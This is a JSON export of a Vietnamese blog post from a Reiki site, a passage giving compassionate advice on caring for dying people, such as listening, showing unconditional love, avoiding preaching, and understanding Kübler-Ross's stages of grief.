{"id":3769,"date":"2023-11-04T08:54:37","date_gmt":"2023-11-04T01:54:37","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3769"},"modified":"2024-12-21T00:51:05","modified_gmt":"2024-12-20T17:51:05","slug":"loi-khuyen-cho-nguoi-sap-chet-phan-1","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3769","title":{"rendered":"L\u1eddi khuy\u00ean cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft ph\u1ea7n 1"},"content":{"rendered":"<p>TRONG M\u1ed8T VI\u1ec6N D\u01af\u1ee0NG L\u00c3O T\u00d4I BI\u1ebeT, Emily, m\u1ed9t ng\u01b0\u1eddi \u0111\u00e0n b\u00e0 \u1edf \u0111\u1ed9 tu\u1ed5i th\u01b0\u1ee3ng l\u1ee5c tu\u1ea7n, s\u1eafp ch\u1ebft v\u00ec ung th\u01b0 v\u00fa. Con g\u00e1i b\u00e0 \u1ea5y \u0111\u1ebfn th\u0103m b\u00e0 \u1ea5y h\u00e0ng ng\u00e0y v\u00e0 d\u01b0\u1eddng nh\u01b0 c\u00f3 m\u1ed1i quan h\u1ec7 t\u1ed1t \u0111\u1eb9p gi\u1eefa hai ng\u01b0\u1eddi. Nh\u01b0ng khi con g\u00e1i b\u00e0 \u1ea5y v\u1eeba \u0111i kh\u1ecfi, Emily g\u1ea7n nh\u01b0 bao gi\u1edd c\u0169ng ng\u1ed3i m\u1ed9t m\u00ecnh v\u00e0 kh\u00f3c. L\u00fac sau v\u1ea5n \u0111\u1ec1 tr\u1edf n\u00ean r\u00f5 r\u00e0ng, l\u00ed do cho \u0111i\u1ec1u n\u00e0y l\u00e0 con g\u00e1i b\u00e0 \u1ea5y \u0111\u00e3 ho\u00e0n to\u00e0n t\u1eeb ch\u1ed1i ch\u1ea5p nh\u1eadn c\u00e1i ch\u1ebft kh\u00f4ng tr\u00e1nh kh\u1ecfi c\u1ee7a b\u00e0 \u1ea5y, nh\u01b0ng d\u00e0nh to\u00e0n th\u1ec3 th\u1eddi gian \u0111\u1ec3 \u0111\u1ed9ng vi\u00ean m\u1eb9 m\u00ecnh &#8220;suy ngh\u0129 t\u00edch c\u1ef1c,&#8221; v\u1edbi hi v\u1ecdng r\u1eb1ng b\u1eb1ng \u0111i\u1ec1u n\u00e0y b\u1ec7nh ung th\u01b0 c\u1ee7a b\u00e0 \u1ea5y s\u1ebd \u0111\u01b0\u1ee3c ch\u1eefa kh\u1ecfi. M\u1ecdi \u0111i\u1ec1u \u0111\u00e3 x\u1ea3y ra l\u00e0 \u1edf ch\u1ed7 Emily \u0111\u00e3 ph\u1ea3i gi\u1eef nh\u1eefng suy ngh\u0129 c\u1ee7a b\u00e0 \u1ea5y, lo s\u1ee3 s\u00e2u s\u1eafc, kinh ho\u00e0ng, v\u00e0 nu\u1ed1i ti\u1ebfc cho b\u1ea3n th\u00e2n b\u00e0 \u1ea5y, kh\u00f4ng ai chia s\u1ebb ch\u00fang, kh\u00f4ng ai gi\u00fap b\u00e0 \u1ea5y kh\u00e1m ph\u00e1 ch\u00fang, kh\u00f4ng ai gi\u00fap b\u00e0 \u1ea5y hi\u1ec3u cu\u1ed9c s\u1ed1ng c\u1ee7a b\u00e0 \u1ea5y, v\u00e0 kh\u00f4ng ai gi\u00fap b\u00e0 \u1ea5y t\u00ecm ra ngh\u0129a ch\u1eefa l\u00e0nh trong ch\u1ebft c\u1ee7a b\u00e0 \u1ea5y.<\/p>\n<p>\u0110i\u1ec1u b\u1ea3n ch\u1ea5t nh\u1ea5t trong cu\u1ed9c \u0111\u1eddi l\u00e0 thi\u1ebft l\u1eadp \u0111\u01b0\u1ee3c giao ti\u1ebfp ch\u00e2n th\u00e0nh, kh\u00f4ng s\u1ee3 h\u00e3i v\u1edbi ng\u01b0\u1eddi kh\u00e1c, v\u00e0 \u0111i\u1ec1u \u0111\u00f3 l\u1ea1i c\u00e0ng quan tr\u1ecdng h\u01a1n \u0111\u1ed1i v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft, nh\u01b0 Emily \u0111\u00e3 bi\u1ec3u l\u1ed9 cho t\u00f4i.<\/p>\n<p>Th\u01b0\u1eddng ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u1ea3m th\u1ea5y d\u00e8 d\u1eb7t v\u00e0 b\u1ea5p an ninh, v\u00e0 kh\u00f4ng ch\u1eafc ch\u1eafn v\u1ec1 \u00fd \u0111\u1ecbnh c\u1ee7a b\u1ea1n khi l\u1ea7n \u0111\u1ea7u ti\u00ean b\u1ea1n t\u1edbi th\u0103m h\u1ecd. Cho n\u00ean \u0111\u1eebng c\u1ea3m th\u1ea5y b\u1ea5t k\u00ec c\u00e1i g\u00ec b\u1ea5t th\u01b0\u1eddng \u0111\u01b0\u1ee3c gi\u1ea3 \u0111\u1ecbnh x\u1ea3y ra, c\u1ee9 t\u1ef1 nhi\u00ean v\u00e0 th\u1ea3nh th\u01a1i, l\u00e0 b\u1ea3n th\u00e2n b\u1ea1n. Th\u01b0\u1eddng ng\u01b0\u1eddi s\u1eafp ch\u1ebft kh\u00f4ng n\u00f3i \u0111i\u1ec1u h\u1ecd mu\u1ed1n hay ng\u1ee5 \u00fd g\u00ec, v\u00e0 nh\u1eefng ng\u01b0\u1eddi g\u1ea7n h\u1ecd kh\u00f4ng bi\u1ebft n\u00f3i hay l\u00e0m g\u00ec. Kh\u00f3 t\u00ecm ra \u0111i\u1ec1u h\u1ecd c\u00f3 th\u1ec3 c\u1ed1 n\u00f3i, hay th\u1eadm ch\u00ed \u0111i\u1ec1u h\u1ecd c\u00f3 th\u1ec3 \u0111\u1ecbnh che gi\u1ea5u. \u0110\u00f4i khi ngay c\u1ea3 h\u1ecd c\u0169ng kh\u00f4ng bi\u1ebft. Cho n\u00ean \u0111i\u1ec1u b\u1ea3n ch\u1ea5t \u0111\u1ea7u ti\u00ean l\u00e0 th\u1ea3 l\u1ecfng b\u1ea5t k\u00ec c\u0103ng th\u1eb3ng n\u00e0o trong b\u1ea7u kh\u00f4ng kh\u00ed d\u1ec5 ch\u1ecbu v\u00e0 t\u1ef1 nhi\u00ean nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c, theo b\u1ea5t k\u00ec c\u00e1ch n\u00e0o t\u1edbi.<\/p>\n<p>M\u1ed9t khi tin c\u1eady v\u00e0 tin t\u01b0\u1edfng \u0111\u00e3 \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp, b\u1ea7u kh\u00f4ng kh\u00ed tr\u1edf n\u00ean th\u1ea3nh th\u01a1i v\u00e0 \u0111i\u1ec1u n\u00e0y s\u1ebd cho ph\u00e9p ng\u01b0\u1eddi s\u1eafp ch\u1ebft mang ra m\u1ecdi \u0111i\u1ec1u m\u00e0 ng\u01b0\u1eddi \u0111\u00f3 th\u1ef1c s\u1ef1 mu\u1ed1n n\u00f3i. Nhi\u1ec7t t\u00ecnh khuy\u1ebfn kh\u00edch ng\u01b0\u1eddi n\u00e0y c\u1ea3m th\u1ea5y t\u1ef1 do nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1ec3 di\u1ec5n \u0111\u1ea1t \u00fd ngh\u0129, lo s\u1ee3, v\u00e0 c\u1ea3m x\u00fac v\u1ec1 vi\u1ec7c s\u1eafp ch\u1ebft v\u00e0 ch\u1ebft. Vi\u1ec7c b\u1ed9c l\u1ed9 c\u1ea3m x\u00fac ch\u00e2n th\u1eadt nh\u1ea5t v\u00e0 kh\u00f4ng l\u01b0\u1ee1ng l\u1ef1 l\u00e0 trung t\u00e2m cho b\u1ea5t k\u00ec bi\u1ebfn \u0111\u1ed5i c\u00f3 th\u1ec3 &#8211; ch\u1ea5p nh\u1eadn s\u1ef1 s\u1ed1ng hay vi\u1ec7c ch\u1ebft c\u00e1i ch\u1ebft t\u1ed1t &#8211; v\u00e0 b\u1ea1n ph\u1ea3i cho ph\u00e9p ng\u01b0\u1eddi n\u00e0y \u0111\u01b0\u1ee3c ho\u00e0n to\u00e0n t\u1ef1 do, trao vi\u1ec7c cho ph\u00e9p \u0111\u1ea7y \u0111\u1ee7 c\u1ee7a b\u1ea1n \u0111\u1ec3 ng\u01b0\u1eddi \u0111\u00f3 n\u00f3i b\u1ea5t k\u00ec c\u00e1i g\u00ec ng\u01b0\u1eddi \u0111\u00f3 mu\u1ed1n n\u00f3i.<\/p>\n<p>Khi ng\u01b0\u1eddi s\u1eafp ch\u1ebft cu\u1ed1i c\u00f9ng th\u1ed5 l\u1ed9 nh\u1eefng t\u00ecnh c\u1ea3m ri\u00eang t\u01b0 nh\u1ea5t, \u0111\u1eebng ng\u1eaft l\u1eddi, ph\u1ee7 nh\u1eadn hay l\u00e0m gi\u1ea3m gi\u00e1 tr\u1ecb nh\u1eefng g\u00ec ng\u01b0\u1eddi n\u00e0y n\u00f3i. B\u1ec7nh hi\u1ec3m ngh\u00e8o hay ch\u1ebft l\u00e0 t\u00ecnh hu\u1ed1ng mong manh nh\u1ea5t c\u1ee7a cu\u1ed9c s\u1ed1ng c\u1ee7a h\u1ecd, v\u00e0 b\u1ea1n c\u1ea7n m\u1ecdi k\u0129 n\u0103ng v\u00e0 th\u00e1o v\u00e1t v\u1ec1 nh\u1ea1y c\u1ea3m, v\u00e0 s\u1ef1 n\u1ed3ng nhi\u1ec7t, v\u00e0 t\u1eeb bi y\u00eau th\u01b0\u01a1ng c\u1ee7a b\u1ea1n \u0111\u1ec3 t\u1ea1o kh\u1ea3 n\u0103ng cho h\u1ecd b\u1ed9c b\u1ea1ch b\u1ea3n th\u00e2n h\u1ecd. H\u1ecdc l\u1eafng nghe, v\u00e0 h\u1ecdc \u0111\u00f3n nh\u1eadn trong im l\u1eb7ng: im l\u1eb7ng m\u1edf, b\u00ecnh th\u1ea3n \u0111i\u1ec1u l\u00e0m cho ng\u01b0\u1eddi kia c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c ch\u1ea5p nh\u1eadn. Th\u1ea3nh th\u01a1i nh\u01b0 b\u1ea1n c\u00f3 th\u1ec3, l\u00e0 tho\u1ea3i m\u00e1i; ng\u1ed3i \u0111\u00f3 v\u1edbi ng\u01b0\u1eddi b\u1ea1n hay ng\u01b0\u1eddi th\u00e2n s\u1eafp ch\u1ebft d\u01b0\u1eddng nh\u01b0 b\u1ea1n kh\u00f4ng c\u00f3 g\u00ec quan tr\u1ecdng h\u01a1n hay \u0111ang t\u1eadn h\u01b0\u1edfng l\u00e0m v\u1eady.<\/p>\n<p>T\u00f4i \u0111\u00e3 th\u1ea5y r\u1eb1ng, nh\u01b0 trong m\u1ecdi t\u00ecnh hu\u1ed1ng nghi\u00eam tr\u1ecdng c\u1ee7a s\u1ef1 s\u1ed1ng, hai \u0111i\u1ec1u l\u00e0 h\u1eefu d\u1ee5ng nh\u1ea5t: c\u00e1ch ti\u1ebfp c\u1eadn th\u00f4ng th\u01b0\u1eddng v\u00e0 n\u0103ng l\u1ef1c h\u00e0i h\u01b0\u1edbc. H\u00e0i h\u01b0\u1edbc c\u00f3 c\u00e1ch th\u1ee9c tuy\u1ec7t di\u1ec7u \u0111\u1ec3 l\u00e0m ng\u1eddi l\u00ean b\u1ea7u kh\u00f4ng kh\u00ed, gi\u00fap \u0111\u1ea9y qu\u00e1 tr\u00ecnh ch\u1ebft v\u00e0o c\u1ea3nh quan ph\u1ed5 qu\u00e1t v\u00e0 th\u1ef1c c\u1ee7a n\u00f3, v\u00e0 xua \u0111i t\u00ednh ch\u1ea5t qu\u00e1 nghi\u00eam tr\u1ecdng v\u00e0 s\u1ef1 m\u00e3nh li\u1ec7t c\u1ee7a t\u00ecnh th\u1ebf. Th\u1ebf th\u00ec d\u00f9ng h\u00e0i h\u01b0\u1edbc m\u1ed9t c\u00e1ch kh\u00e9o l\u00e9o v\u00e0 nh\u1eb9 nh\u00e0ng nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c.<\/p>\n<p>T\u1eeb kinh nghi\u1ec7m ri\u00eang c\u1ee7a t\u00f4i, t\u00f4i c\u0169ng \u0111\u00e3 th\u1ea5y r\u1eb1ng \u0111i\u1ec1u b\u1ea3n ch\u1ea5t l\u00e0 kh\u00f4ng coi b\u1ea5t k\u00ec c\u00e1i g\u00ec l\u00e0 qu\u00e1 c\u00e1 nh\u00e2n. Khi b\u1ea1n \u00edt mong \u0111\u1ee3i n\u00f3 nh\u1ea5t, ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u00f3 th\u1ec3 l\u00e0m b\u1ea1n th\u00e0nh m\u1ee5c ti\u00eau c\u1ee7a m\u1ecdi c\u00e1u gi\u1eadn v\u00e0 tr\u00e1ch m\u00f3c c\u1ee7a h\u1ecd. Nh\u01b0 Elisabeth Kubler-Ross n\u00f3i, c\u00e1u gi\u1eadn v\u00e0 tr\u00e1ch m\u00f3c c\u00f3 th\u1ec3 &#8220;\u0111\u01b0\u1ee3c chuy\u1ec3n theo m\u1ecdi h\u01b0\u1edbng, v\u00e0 \u0111\u01b0\u1ee3c ph\u00f3ng chi\u1ebfu v\u00e0o m\u00f4i tr\u01b0\u1eddng v\u00e0o nh\u1eefng l\u00fac g\u1ea7n nh\u01b0 l\u00e0 ng\u1eabu nhi\u00ean.&#8221;<a href=\"#_edn1\" name=\"_ednref1\">[i]<\/a> \u0110\u1eebng h\u00ecnh dung r\u1eb1ng c\u01a1n gi\u1eadn d\u1eef n\u00e0y th\u1ef1c s\u1ef1 nh\u1eb1m v\u00e0o b\u1ea1n; vi\u1ec7c nh\u1eadn ra s\u1ee3 v\u00e0 h\u1ed1i ti\u1ebfc n\u00e0o ch\u1ea3y ra t\u1eeb \u0111\u00f3 s\u1ebd d\u1eebng b\u1ea1n kh\u1ecfi ph\u1ea3n \u1ee9ng v\u1edbi n\u00f3 theo c\u00e1ch c\u00f3 th\u1ec3 l\u00e0m h\u1ecfng m\u1ed1i quan h\u1ec7 c\u1ee7a b\u1ea1n.<\/p>\n<p>\u0110\u00f4i khi b\u1ea1n c\u00f3 th\u1ec3 b\u1ecb c\u00e1m d\u1ed7 thuy\u1ebft gi\u1ea3ng cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, hay cho h\u1ecd c\u00f4ng th\u1ee9c t\u00e2m linh ri\u00eang c\u1ee7a b\u1ea1n. Tr\u00e1nh tuy\u1ec7t \u0111\u1ed1i c\u00e1m d\u1ed7 n\u00e0y, \u0111\u1eb7c bi\u1ec7t khi b\u1ea1n ng\u1edd r\u1eb1ng \u0111\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 \u0111i\u1ec1u ng\u01b0\u1eddi s\u1eafp ch\u1ebft mu\u1ed1n! Kh\u00f4ng ai mu\u1ed1n \u0111\u01b0\u1ee3c &#8220;c\u1ee9u&#8221; b\u1eb1ng ni\u1ec1m tin c\u1ee7a ai \u0111\u00f3 kh\u00e1c. Nh\u1edb nhi\u1ec7m v\u1ee5 c\u1ee7a b\u1ea1n kh\u00f4ng ph\u1ea3i l\u00e0 chuy\u1ec3n \u0111\u1ed5i b\u1ea5t k\u00ec ai sang b\u1ea5t k\u00ec c\u00e1i g\u00ec, nh\u01b0ng \u0111\u1ec3 gi\u00fap cho ng\u01b0\u1eddi ngay tr\u01b0\u1edbc b\u1ea1n ti\u1ebfp x\u00fac \u0111\u01b0\u1ee3c v\u1edbi s\u1ee9c m\u1ea1nh, s\u1ef1 tin t\u01b0\u1edfng, \u0111\u1ee9c tin, v\u00e0 t\u00ednh t\u00e2m linh c\u1ee7a ri\u00eang ng\u01b0\u1eddi \u0111\u00f3, d\u00f9 n\u00f3 c\u00f3 th\u1ec3 l\u00e0 b\u1ea5t k\u00ec c\u00e1i g\u00ec. T\u1ea5t nhi\u00ean, n\u1ebfu ng\u01b0\u1eddi n\u00e0y th\u1ef1c s\u1ef1 m\u1edf v\u1edbi v\u1ea5n \u0111\u1ec1 t\u00e2m linh, v\u00e0 th\u1ef1c s\u1ef1 mu\u1ed1n bi\u1ebft b\u1ea1n ngh\u0129 g\u00ec v\u1ec1 ch\u00fang, \u0111\u1eebng k\u00ecm l\u1ea1i kh\u00f4ng n\u00f3i.<\/p>\n<p>\u0110\u1eebng tr\u00f4ng \u0111\u1ee3i qu\u00e1 nhi\u1ec1u t\u1eeb b\u1ea3n th\u00e2n b\u1ea1n, hay tr\u00f4ng \u0111\u1ee3i s\u1ef1 gi\u00fap \u0111\u1ee1 c\u1ee7a b\u1ea1n t\u1ea1o ra k\u1ebft qu\u1ea3 k\u00ec di\u1ec7u trong ng\u01b0\u1eddi s\u1eafp ch\u1ebft hay &#8220;c\u1ee9u&#8221; h\u1ecd. B\u1ea1n s\u1ebd ch\u1ec9 th\u1ea5t v\u1ecdng. M\u1ecdi ng\u01b0\u1eddi r\u1ed3i s\u1ebd ch\u1ebft nh\u01b0 h\u1ecd \u0111\u00e3 s\u1ed1ng, nh\u01b0 b\u1ea3n th\u00e2n h\u1ecd. \u0110\u1ec3 giao ti\u1ebfp th\u1ef1c \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp, b\u1ea1n ph\u1ea3i l\u00e0m n\u1ed7 l\u1ef1c ki\u00ean quy\u1ebft \u0111\u1ec3 nh\u00ecn ng\u01b0\u1eddi n\u00e0y d\u01b0\u1edbi d\u1ea1ng cu\u1ed9c s\u1ed1ng ri\u00eang c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, t\u00ednh c\u00e1ch, n\u1ec1n t\u1ea3ng, l\u1ecbch s\u1eed v\u00e0 ch\u1ea5p nh\u1eadn ng\u01b0\u1eddi n\u00e0y m\u1ed9t c\u00e1ch ho\u00e0n to\u00e0n. C\u0169ng v\u1eady \u0111\u1eebng bu\u1ed3n n\u1ebfu gi\u00fap \u0111\u1ee1 c\u1ee7a b\u1ea1n d\u01b0\u1eddng nh\u01b0 c\u00f3 r\u1ea5t \u00edt hi\u1ec7u qu\u1ea3 v\u00e0 ng\u01b0\u1eddi s\u1eafp ch\u1ebft kh\u00f4ng \u0111\u00e1p \u1ee9ng. Ch\u00fang ta kh\u00f4ng th\u1ec3 bi\u1ebft \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 s\u00e2u h\u01a1n c\u1ee7a s\u1ef1 ch\u0103m s\u00f3c c\u1ee7a ch\u00fang ta.<\/p>\n<p>BI\u1ec2U L\u1ed8 T\u00ccNH Y\u00caU V\u00d4 \u0110I\u1ec0U KI\u1ec6N<\/p>\n<p>Ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u1ea7n nh\u1ea5t l\u00e0 \u0111\u01b0\u1ee3c th\u1ea5y t\u00ecnh y\u00eau v\u00f4 \u0111i\u1ec1u ki\u1ec7n nh\u1ea5t c\u00f3 th\u1ec3, \u0111\u01b0\u1ee3c gi\u1ea3i tho\u00e1t kh\u1ecfi m\u1ecdi mong \u0111\u1ee3i. \u0110\u1eebng ngh\u0129 b\u1ea1n ph\u1ea3i l\u00e0 chuy\u00ean gia theo b\u1ea5t k\u00ec c\u00e1ch n\u00e0o. L\u00e0 t\u1ef1 nhi\u00ean, l\u00e0 b\u1ea3n th\u00e2n b\u1ea1n, l\u00e0 ng\u01b0\u1eddi b\u1ea1n th\u1ef1c s\u1ef1, v\u00e0 ng\u01b0\u1eddi s\u1eafp ch\u1ebft s\u1ebd \u0111\u01b0\u1ee3c t\u00e1i b\u1ea3o \u0111\u1ea3m r\u1eb1ng b\u1ea1n th\u1ef1c s\u1ef1 \u1edf c\u00f9ng h\u1ecd, \u0111ang li\u00ean l\u1ea1c v\u1edbi h\u1ecd m\u1ed9t c\u00e1ch \u0111\u01a1n gi\u1ea3n v\u00e0 b\u00ecnh \u0111\u1eb3ng, nh\u01b0 m\u1ed9t con ng\u01b0\u1eddi \u0111\u1ed1i v\u1edbi m\u1ed9t con ng\u01b0\u1eddi kh\u00e1c.<\/p>\n<p>T\u00f4i \u0111\u00e3 n\u00f3i, &#8220;Bi\u1ec3u l\u1ed9 cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft t\u00ecnh y\u00eau v\u00f4 \u0111i\u1ec1u ki\u1ec7n,&#8221; nh\u01b0ng trong m\u1ed9t s\u1ed1 t\u00ecnh hu\u1ed1ng \u0111i\u1ec1u n\u00e0y c\u00f2n l\u00e2u m\u1edbi l\u00e0 d\u1ec5 d\u00e0ng. Ch\u00fang ta c\u00f3 th\u1ec3 \u0111\u00e3 c\u00f3 l\u1ecbch s\u1eed l\u00e2u d\u00e0i ch\u1ecbu \u0111\u1ef1ng ng\u01b0\u1eddi n\u00e0y, ch\u00fang ta c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y m\u1eb7c c\u1ea3m v\u1ec1 \u0111i\u1ec1u ch\u00fang ta \u0111\u00e3 l\u00e0m v\u1edbi ng\u01b0\u1eddi n\u00e0y trong qu\u00e1 kh\u1ee9, hay gi\u1eadn d\u1eef v\u00e0 o\u00e1n h\u1eadn v\u1ec1 \u0111i\u1ec1u ng\u01b0\u1eddi n\u00e0y \u0111\u00e3 l\u00e0m v\u1edbi ch\u00fang ta.<\/p>\n<p>Cho n\u00ean \u0111\u1ec3 t\u00f4i g\u1ee3i \u00fd hai c\u00e1ch r\u1ea5t \u0111\u01a1n gi\u1ea3n theo \u0111\u00f3 b\u1ea1n c\u00f3 th\u1ec3 x\u1ea3 ra t\u00ecnh y\u00eau b\u00ean trong b\u1ea1n h\u01b0\u1edbng v\u1ec1 ng\u01b0\u1eddi s\u1eafp ch\u1ebft. T\u00f4i v\u00e0 h\u1ecdc tr\u00f2 t\u00f4i, khi l\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft, \u0111\u00e3 th\u1ea5y c\u1ea3 hai c\u00e1ch n\u00e0y r\u1ea5t m\u1ea1nh m\u1ebd. Th\u1ee9 nh\u1ea5t, nh\u00ecn v\u00e0o ng\u01b0\u1eddi s\u1eafp ch\u1ebft tr\u01b0\u1edbc b\u1ea1n v\u00e0 ngh\u0129 v\u1ec1 ng\u01b0\u1eddi \u0111\u00f3 nh\u01b0 b\u1ea1n, v\u1edbi c\u00f9ng nhu c\u1ea7u, c\u00f9ng ham mu\u1ed1n c\u01a1 b\u1ea3n \u0111\u01b0\u1ee3c h\u1ea1nh ph\u00fac v\u00e0 tr\u00e1nh kh\u1ed5, c\u00f9ng s\u1ef1 c\u00f4 \u0111\u01a1n, c\u00f9ng n\u1ed7i s\u1ee3 c\u00e1i ch\u01b0a bi\u1ebft, c\u00f9ng nh\u1eefng \u0111i\u1ec1u k\u00edn \u0111\u00e1o v\u1ec1 bu\u1ed3n r\u1ea7u, c\u00f9ng nh\u1eefng c\u1ea3m gi\u00e1c \u0111\u01b0\u1ee3c b\u1ea1n th\u1eeba nh\u1eadn v\u1ec1 s\u1ef1 b\u1ea5t l\u1ef1c. B\u1ea1n s\u1ebd th\u1ea5y r\u1eb1ng n\u1ebfu b\u1ea1n th\u1ef1c l\u00e0m \u0111i\u1ec1u n\u00e0y, tim b\u1ea1n s\u1ebd m\u1edf h\u01b0\u1edbng v\u1ec1 ng\u01b0\u1eddi \u0111\u00f3 v\u00e0 t\u00ecnh y\u00eau s\u1ebd hi\u1ec7n di\u1ec7n gi\u1eefa c\u00e1c b\u1ea1n.<\/p>\n<p>C\u00e1ch th\u1ee9 hai, v\u00e0 t\u00f4i \u0111\u00e3 th\u1ea5y c\u00e1ch n\u00e0y th\u1eadm ch\u00ed m\u1ea1nh h\u01a1n, l\u00e0 \u0111\u1eb7t b\u1ea3n th\u00e2n b\u1ea1n tr\u1ef1c ti\u1ebfp v\u00e0 th\u1ea3n nhi\u00ean v\u00e0o v\u1ecb tr\u00ed c\u1ee7a ng\u01b0\u1eddi \u0111ang ch\u1ebft. T\u01b0\u1edfng t\u01b0\u1ee3ng r\u1eb1ng b\u1ea1n \u0111ang n\u1eb1m tr\u00ean chi\u1ebfc gi\u01b0\u1eddng \u0111\u00f3 tr\u01b0\u1edbc b\u1ea1n, \u0111\u1ed1i di\u1ec7n v\u1edbi ch\u1ebft c\u1ee7a b\u1ea1n. Th\u1ebf r\u1ed3i th\u1ef1c s\u1ef1 h\u1ecfi b\u1ea3n th\u00e2n b\u1ea1n: \u0110i\u1ec1u g\u00ec m\u00ecnh c\u1ea7n nh\u1ea5t? \u0110i\u1ec1u g\u00ec m\u00ecnh th\u00edch nh\u1ea5t? \u0110i\u1ec1u g\u00ec m\u00ecnh th\u1ef1c mong mu\u1ed1n t\u1eeb c\u00e1c b\u1ea1n b\u00e8 \u0111ang \u0111\u1ee9ng tr\u01b0\u1edbc m\u00ecnh?<\/p>\n<p>N\u1ebfu b\u1ea1n l\u00e0m hai c\u00e1ch tu luy\u1ec7n n\u00e0y, t\u00f4i ngh\u0129 b\u1ea1n ch\u1eafc s\u1ebd th\u1ea5y r\u1eb1ng \u0111i\u1ec1u ng\u01b0\u1eddi s\u1eafp ch\u1ebft mu\u1ed1n l\u00e0 \u0111i\u1ec1u b\u1ea1n mu\u1ed1n nh\u1ea5t: \u0111\u01b0\u1ee3c th\u1ef1c s\u1ef1 y\u00eau th\u01b0\u01a1ng v\u00e0 \u0111\u01b0\u1ee3c ch\u1ea5p nh\u1eadn.<\/p>\n<p>T\u00f4i th\u01b0\u1eddng c\u0169ng th\u1ea5y r\u1eb1ng ng\u01b0\u1eddi \u1ed1m \u0111\u00e3 l\u00e2u r\u1ea5t d\u1ec5 b\u1ecb m\u1ee7i l\u00f2ng, r\u1ea5t mu\u1ed1n \u0111\u01b0\u1ee3c \u0111\u1ed1i x\u1eed nh\u01b0 ng\u01b0\u1eddi s\u1ed1ng ch\u1ee9 kh\u00f4ng l\u00e0 ng\u01b0\u1eddi b\u1ec7nh. Nhi\u1ec1u an \u1ee7i c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c trao cho ng\u01b0\u1eddi \u1ed1m n\u1eb7ng ch\u1ec9 \u0111\u01a1n gi\u1ea3n b\u1eb1ng vi\u1ec7c ch\u1ea1m tay h\u1ecd, nh\u00ecn v\u00e0o m\u1eaft h\u1ecd, xoa b\u00f3p nh\u1eb9 nh\u00e0ng cho h\u1ecd hay \u00f4m h\u1ecd trong tay b\u1ea1n, hay th\u1edf c\u00f9ng nh\u1ecbp nh\u1eb9 nh\u00e0ng v\u1edbi h\u1ecd. Th\u00e2n th\u1ec3 c\u00f3 ng\u00f4n ng\u1eef y\u00eau ri\u00eang c\u1ee7a n\u00f3; d\u00f9ng n\u00f3 m\u1ed9t c\u00e1ch b\u1ea1o d\u1ea1n \u0111i, v\u00e0 b\u1ea1n s\u1ebd th\u1ea5y b\u1ea1n mang \u0111\u1ebfn cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft s\u1ef1 tho\u1ea3i m\u00e1i v\u00e0 an \u1ee7i.<\/p>\n<p>Th\u01b0\u1eddng ch\u00fang ta qu\u00ean m\u1ea5t r\u1eb1ng ng\u01b0\u1eddi ch\u1ebft \u0111ang m\u1ea5t \u0111i to\u00e0n th\u1ec3 th\u1ebf gi\u1edbi c\u1ee7a h\u1ecd: nh\u00e0 c\u1eeda, vi\u1ec7c l\u00e0m, quan h\u1ec7, th\u00e2n th\u1ec3, v\u00e0 t\u00e2m tr\u00ed &#8211; h\u1ecd m\u1ea5t m\u1ecdi th\u1ee9. M\u1ecdi m\u1ea5t m\u00e1t ch\u00fang ta c\u00f3 th\u1ec3 tr\u1ea3i nghi\u1ec7m \u0111\u01b0\u1ee3c trong \u0111\u1eddi \u0111\u01b0\u1ee3c g\u1eafn l\u1ea1i trong m\u1ed9t m\u1ea5t m\u00e1t tr\u00e0n ng\u1eadp khi ch\u00fang ta ch\u1ebft, cho n\u00ean l\u00e0m sao b\u1ea5t k\u00ec ai c\u00f3 th\u1ec3 ch\u1ebft \u0111i m\u00e0 \u0111\u00f4i khi kh\u00f4ng bu\u1ed3n, \u0111\u00f4i khi kh\u00f4ng kinh ho\u00e0ng, \u0111\u00f4i khi kh\u00f4ng gi\u1eadn d\u1eef? Elisabeth Kubler-Ross g\u1ee3i \u00fd n\u0103m giai \u0111o\u1ea1n trong qu\u00e1 tr\u00ecnh \u0111i t\u1edbi ch\u1ea5p nh\u1eadn vi\u1ec7c ch\u1ebft: ph\u1ee7 nh\u1eadn, gi\u1eadn d\u1eef, m\u1eb7c c\u1ea3, th\u1ea5t v\u1ecdng v\u00e0 ch\u1ea5p nh\u1eadn. T\u1ea5t nhi\u00ean kh\u00f4ng ph\u1ea3i m\u1ecdi ng\u01b0\u1eddi s\u1ebd tr\u1ea3i qua t\u1ea5t c\u1ea3 c\u00e1c giai \u0111o\u1ea1n n\u00e0y, hay c\u1ea7n theo tr\u1eadt t\u1ef1 n\u00e0y; v\u1edbi m\u1ed9t s\u1ed1 ng\u01b0\u1eddi con \u0111\u01b0\u1eddng ch\u1ea5p nh\u1eadn c\u00f3 th\u1ec3 c\u1ef1c k\u00ec d\u00e0i v\u00e0 gai g\u00f3c; m\u1ed9t s\u1ed1 kh\u00e1c c\u00f3 th\u1ec3 kh\u00f4ng \u0111\u1ea1t t\u1edbi ch\u1ea5p nh\u1eadn ch\u00fat n\u00e0o. N\u1ec1n v\u0103n ho\u00e1 c\u1ee7a ch\u00fang ta kh\u00f4ng cho con ng\u01b0\u1eddi c\u1ea3nh quan r\u1ea5t th\u1ef1c v\u1ec1 \u00fd ngh\u0129, c\u1ea3m x\u00fac v\u00e0 kinh nghi\u1ec7m, v\u00e0 nhi\u1ec1u ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n v\u1edbi ch\u1ebft v\u00e0 th\u00e1ch th\u1ee9c cu\u1ed1i c\u00f9ng c\u1ee7a 